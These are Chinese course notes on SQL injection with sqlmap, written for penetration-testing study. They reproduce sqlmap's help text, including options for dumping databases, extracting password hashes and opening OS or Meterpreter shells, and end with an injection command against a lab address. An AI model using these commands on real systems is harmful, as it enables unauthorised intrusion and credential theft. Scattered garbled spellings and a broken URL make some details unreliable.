SQL 注入攻击_6 | 学习笔记

简介: 快速学习 SQL 注入攻击_6

开发者学堂课程【网络安全攻防 - Web渗透测试SQL 注入攻击_6】学习笔记,与课程紧密联系,让用户快速学习知识。

课程地址:https://developer.aliyun.com/learning/course/630/detail/9909


SQL 注入攻击_6


内容介绍

一、  自动化注入

二、  SQLmap帮助

三、  语句测试

四、  Get方法注入


一、   自动化注入

SQL 注入比较好用的工具,首推开源工具 SQLmapSQLnap 是一个国内外著名的安全稳定性测试工具,可以用来进行自动化检测,利用 SOL 注入漏洞,获取数据库服务器的权限。

它具有功能强大的检测引擎,针对各种不同类型数据库的安全稳定性测试的功能选项,包括获取数据库中 数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。

SQLmap 支持 MySQL,Oracle, PostgreSQL, Microsoft SQLServer, Microsoft Access, IBM DB2, SQLite,Firebird,Sybase SAP MaxDB 数据库的各种安全漏洞检测。


二、   SQLmap 帮助

1.  root@kali:~# sqlmap -h |less

(1)  得到注射器的图

image.png

(1)  Target:

At least one oftheseoptionshas to be provided to define the target(s)

-d DIRECT Connection string for direct database connection

-u URL.--url=URL Target URL (e.g."http://www.site.com/vuln.php?id=1")

-l LOGFILE Parse target(s) from Burp or WebScarab proxy logfile

-x SITEMAPURL Parse target(s) from remote sitemap(.xml) file

-m BULKFILE Scan multiple targets given in a textual file

-r REQUESTFILE Load HTTP request from a file

-g GOOGLEDORK Process Google dork results as target URLs

-c CONFIGFILE Load options from a configuration INI file

(2)  Request:

These options can be used to specify how to connect to the target URL

--method=METHOD Force usage of given HTTP method (e.g. PUT)

--data=DAm Data string to be sent through POST

--param-del=PARA.. Character used forsplitting parameter values

--cookie=COOKIE HTTP Cookie header value

-cookie-del=C00.. Character usedforsplittina cookie values

load-cookies=L..File containing cookies in Netscape/wget format -drop-set-cookie Ignore Set-Cookie header from response

--user-agent=AGENTHTTP User-Agent header value

--random-agent Use randomly selected HTTP User-Agent header value

--host=HOST HTTP Host header value

--referer-REFERER HTTP Referer header value

-H HEADER. --hea..Extra header (e.g."X-Forwarded-For:127.0.0.1")

--headers=HEADERS Extra headers (e.g."Accept-Language:fr\nETag:123")

--auth-type=AUTH.. HTTP authentication type (Basic, Digest, NTLM or PKI)

--auth-cred=AUTH.. HTTP authentication credentials (name:password)

--auth-file=AUTH.. HTTP authentication PEM cert/private key file

--ignore-code=IG.. Ignore HTTP error code (e.g. 401)

--ignore-proxy Ignore systemdefault proxy settings

--ignore-redirects Ignore redirection attempts

(3)  Injection:

These options can be used to specify which parameters to test for. provide custom injection payloads and optional tampering scripts -P TESTPARAMETER Testable parameter(s)

--skip=SKIP Skip testing for given parameter(s)

--skip-static Skip testing parameters that not appear to be dynamic

--param-exclude=.. Regexp to exclude parameters from testing (e.g."ses")

--dbms=DBMS Force back-end D.BMSto this value

--dbms-ared=DBMS.. DBMS authentication credentials (user:password)

--oS=OS Force back-end DBMSoperating system to this value

--invalid-bignum Use big numbersfor invalidating values

--invalid-logical Use logical operations for invalidating values

(4)  Enumeration:

These options can be used to enumeratethe back-enddatabasemanagementsysteminformation,structureanddatacontainedinthetables.MoreoveryoucanrunyourownSQLstatements

-a, --all Retrieve everything

-b.--banner Retrieve DBMS banner

--current-user Retrieve DBMS current user

-current-db Retrieve DBMS current database

-hostname Retrieve DBMS server hostname

--is-dba Detect if the DBMS current user is DBA

--users Enumerate DBMS users

-passwords Enumerate DBMS users password hashes

-privilges Enumerate DBMS users privileges

-roles Enumerate DBMS users roles

-dbs Enumerate DBMS databases

--tables Enumerate DBMS database tables

--columns Enumerate DBMS database table columns

--schema Enumerate DBMS schema

--count Retrieve number of entriesfor table(s)

--dump Dump DBMSdatabase table entries

- -dump-all Dump all DBMS databasestables entries

--search Search column(s), table(s) and/or database name(s) --comments Retrieve DBMS comments

-D DB DBMS database to enumerate

-T TBL DBMS database table(s) to enumerate

-C COL DBMS database table column(s) to enumerate

-X EXCLUDE DBMSdatabase identifier(s) to not enumerate

-U USER DBMS user to enumerate

--excluda sysdbs Exclude DBMS system databaseswhen enumerating tables

--pivot-column=P.. Pivot column name

--where=DUMPWHERE Use WHERE condition while table dumping

--start=LIMITSTART First dump table entry to retrieve

(5)  Operating system access:

These options can be used to access the back-end database management

system underlying operating system

--os-cmd=0SCMD Execute an operating system command

- -os-shell Prompt for an interactive operating system shell

--os-pwn Prompt for an 00B shell, Meterpreter or VNC

- -os-smbrelay One click prompt for an OOB shell,

Meterpreter or VNC

- -os-bof Stored procedure buffer overflow exploitation

--priv-esc Database processuser privilege escalation

--msf-path=MSFPATH Local path whereMetasploit Framework is installed

--tmp-path=JMPPATH Remote absolute path of temporary files directory


三、  语句测试

image.png

出现错误

修改:上述语句后加--batch

错误提示

image.png

修改:再加--level=5..risk=3(加大级别)

image.png

测试

image.png


四、   GET 方法注入

root@kali:~# sqlmap -uhttp://192.168.106.134/mutilluasandex.php?page-user-

info.php&username=yangge&password=123&user-info-php-submit-button=View+Account+Details’’-p usemame

相关文章
|
3月前
|
算法 数据挖掘 数据库
通过 SQL 快速使用 OceanBase 向量检索学习笔记
通过 SQL 快速使用 OceanBase 向量检索学习笔记
|
3月前
|
SQL 数据库
SQL 学习笔记 - 多表关系与多表查询
数据库多表关系包括一对多、多对多和一对一,常用外键关联。多表查询方式有隐式/显式内连接、外连接、子查询等,支持别名和条件筛选。子查询分为标量、列、行、表子查询,常用于复杂查询场景。
|
SQL 安全 Java
除了Flask框架,还有哪些框架能防止SQL注入攻击?
这些框架都在安全方面有着较好的表现,通过它们的内置机制和安全特性,可以有效地降低 SQL 注入攻击的风险。然而,无论使用哪个框架,开发者都需要具备良好的安全意识,正确配置和使用框架提供的安全功能,以确保应用的安全可靠。同时,持续关注安全更新和漏洞修复也是非常重要的。
554 162
|
SQL 监控 安全
Flask 框架防止 SQL 注入攻击的方法
通过综合运用以上多种措施,Flask 框架可以有效地降低 SQL 注入攻击的风险,保障应用的安全稳定运行。同时,持续的安全评估和改进也是确保应用长期安全的重要环节。
515 71
|
SQL 监控 小程序
在微信小程序中使用 Vant 时如何防止 SQL 注入攻击?
在微信小程序中使用 Vant 时如何防止 SQL 注入攻击?
447 58
|
SQL 安全 前端开发
Web学习_SQL注入_联合查询注入
联合查询注入是一种强大的SQL注入攻击方式,攻击者可以通过 `UNION`语句合并多个查询的结果,从而获取敏感信息。防御SQL注入需要多层次的措施,包括使用预处理语句和参数化查询、输入验证和过滤、最小权限原则、隐藏错误信息以及使用Web应用防火墙。通过这些措施,可以有效地提高Web应用程序的安全性,防止SQL注入攻击。
474 2
|
SQL 安全 数据库
惊!Python Web安全黑洞大曝光:SQL注入、XSS、CSRF,你中招了吗?
在数字化时代,Web应用的安全性至关重要。许多Python开发者在追求功能时,常忽视SQL注入、XSS和CSRF等安全威胁。本文将深入剖析这些风险并提供最佳实践:使用参数化查询预防SQL注入;通过HTML转义阻止XSS攻击;在表单中加入CSRF令牌增强安全性。遵循这些方法,可有效提升Web应用的安全防护水平,保护用户数据与隐私。安全需持续关注与改进,每个细节都至关重要。
356 5
|
SQL 安全 数据库
深度揭秘:Python Web安全攻防战,SQL注入、XSS、CSRF一网打尽!
在Web开发领域,Python虽强大灵活,却也面临着SQL注入、XSS与CSRF等安全威胁。本文将剖析这些常见攻击手段,并提供示例代码,展示如何利用参数化查询、HTML转义及CSRF令牌等技术构建坚固防线,确保Python Web应用的安全性。安全之路永无止境,唯有不断改进方能应对挑战。
333 5
|
SQL 安全 数据库
深度揭秘:Python Web安全攻防战,SQL注入、XSS、CSRF一网打尽!
在Web开发领域,Python虽强大灵活,但安全挑战不容小觑。本文剖析Python Web应用中的三大安全威胁:SQL注入、XSS及CSRF,并提供防御策略。通过示例代码展示如何利用参数化查询、HTML转义与CSRF令牌构建安全防线,助您打造更安全的应用。安全是一场持久战,需不断改进优化。
238 3
|
SQL 安全 数据库
从入门到精通:Python Web安全守护指南,SQL注入、XSS、CSRF全防御!
【9月更文挑战第13天】在开发Python Web应用时,安全性至关重要。本文通过问答形式,详细介绍如何防范SQL注入、XSS及CSRF等常见威胁。通过使用参数化查询、HTML转义和CSRF令牌等技术,确保应用安全。附带示例代码,帮助读者从入门到精通Python Web安全。
280 6